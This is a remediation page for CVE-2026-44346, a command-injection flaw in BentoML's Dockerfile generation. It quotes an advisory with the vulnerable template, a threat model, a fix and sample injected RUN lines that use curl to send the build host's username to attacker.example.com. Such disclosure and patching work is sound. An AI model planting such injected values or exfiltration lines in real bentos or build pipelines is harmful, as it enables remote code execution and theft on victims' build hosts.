How to Fix CVE-2026-44346

To remediate this vulnerability, upgrade all affected Bentoml dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

bentoml fixed: 1.4.39
pip install bentoml>=1.4.39
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show bentoml

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-44346, inspect your installed packages using pip:

pip show bentoml

Analyze the terminal output to locate any version of Bentoml in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.39), your application is affected.

Note: The pip show bentoml command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Bentoml, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# BentoML `envs[*].name` Dockerfile command injection — sibling of CVE-2026-33744 / CVE-2026-35043 A malicious `bentofile.yaml` containing a newline-injected value in `envs[*].name` produces unquoted `RUN` directives in the BentoML-generated Dockerfile. When the victim runs `bentoml containerize` on the imported bento, those `RUN` directives execute on the host during `docker build`. Verified end-to-end on `bentoml==1.4.38`. ## Vulnerable code `src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:71-73`: ```jinja {% for env in __bento_envs__ %} {% set stage = env.stage | default("all") -%} {% if stage != "runtime" -%} ARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %} ENV {{ env.name }}=${{ env.name }} {% endif -%} {% endfor %} ``` `env.value` is bash-quoted via the `bash_quote` filter, but **`env.name` is interpolated raw** with no escaping or newline filtering. The template is rendered by `_bentoml_impl/docker.generate_dockerfile` (the v2 SDK Docker generation path used by `bentoml containerize` for modern services). ## Sibling relationship to existing CVEs The earlier patches addressed the same Dockerfile-command-injection class for a different bentofile field: - **CVE-2026-33744 / GHSA-jfjg-vc52-wqvf** (2026-03-25): added `bash_quote` to `system_packages` interpolation in Dockerfile templates and `images.py`. - **CVE-2026-35043 / GHSA-fgv4-6jr3-jgfw** (2026-04-02): added `shlex.quote` to `system_packages` in the cloud deployment path (`_internal/cloud/deployment.py:1648`). Both patches limit themselves to `system_packages`. The `envs[*].name` field is the same root-cause class (`bentofile.yaml` value flowing unquoted into a Dockerfile interpretation context) but was never included in the fix scope. ## Reproduction ```bash pip install bentoml==1.4.38 python verify_render.py ``` Expected: ``` [*] rendered Dockerfile size: 1789 bytes [*] injected RUN lines: 3 RUN curl -fsSL http://attacker.example.com/$(whoami)=1 RUN curl -fsSL http://attacker.example.com/$(whoami)=$FOO RUN curl -fsSL http://attacker.example.com/$(whoami) ``` Each injected `RUN` line is a Dockerfile command that runs during `docker build`. With `$(whoami)` shell-substituted by Docker's RUN executor, the example payload exfiltrates the build host's username. ## Threat model 1. Attacker authors a malicious bento with a crafted `bentofile.yaml`. 2. Attacker exports the bento (`.bento` or `.tar.gz`) and distributes (S3, HTTP, BentoCloud share, etc.). 3. Victim imports with `bentoml import bento.tar`; no validation of `envs` content. 4. Victim runs `bentoml containerize` to build the container image. 5. BentoML renders the Dockerfile with the attacker's `envs` values, producing injected `RUN` lines. 6. `docker build` (or BuildKit) executes the injected `RUN` commands on the build host, achieving RCE in the victim's build environment. The flow mirrors CVE-2026-33744 exactly, with `envs` substituted for `system_packages`. ## Suggested fix In `base_v2.j2` lines 71-73, apply the `bash_quote` filter to `env.name` (and to the `=$VAR` reference in the `ENV` line, since the variable name itself is reused there): ```jinja ARG {{ env.name | bash_quote }}{% if env.value %}={{ env.value | bash_quote }}{% endif %} ENV {{ env.name | bash_quote }}=${{ env.name | bash_quote }} ``` Better, since `env.name` is semantically a Dockerfile identifier, validate at the schema level: in `bentoml/_internal/bento/build_config.py:BentoEnvSchema`, add an `attr.validators.matches_re(r"^[A-Za-z_][A-Za-z0-9_]*$")` to the `name` field so newline / shell-metacharacter values are rejected at config load. ## Affected versions - bentoml 1.4.38 (verified end-to-end) - Likely all 1.x versions where `_bentoml_impl/docker.py` exists; the v2 SDK code path was added before the CVE-2026-33744 / CVE-2026-35043 patches and was not retroactively swept for siblings. ## Disclosure Requesting CVE assignment and GHSA publication. Available for additional repro under different distros / frontends, or for a PR with the suggested fix, on request. ## PoC artifacts Gated HF repo (request access): https://huggingface.co/mrw0r57/bentoml-envs-cmdinjection-poc
